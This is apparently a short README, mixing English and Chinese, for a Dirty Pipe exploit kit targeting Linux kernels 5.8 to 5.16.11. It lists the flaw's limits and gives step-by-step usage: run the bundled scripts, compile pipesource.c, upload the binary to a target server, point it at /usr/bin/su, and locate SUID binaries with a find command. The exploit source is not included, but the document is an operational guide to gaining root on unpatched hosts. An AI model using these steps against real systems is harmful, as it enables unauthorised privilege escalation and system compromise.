the attacker must have read permissions (because it needs to splice() a page into a pipe)
the offset must not be on a page boundary (because at least one byte of that page must have been spliced into the pipe)
the write cannot cross a page boundary (because a new anonymous buffer would be created for the rest)
the file cannot be resized (because the pipe has its own page fill management and does not tell the page cache how much data has been appended)

使用方法

bash exploit.sh
#或执行 
bash Dirty-Pipe.sh

源码本地编译上传靶标方法

gcc pipesource.c -o pipesource

然后直接将 pipesource 上传到目标服务器运行 ./pipsource /usr/bin/su

其中 /usr/bin/su 为具有suid 权限的文件
搜索方法如下： find / -perm -u=s -type f

Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe)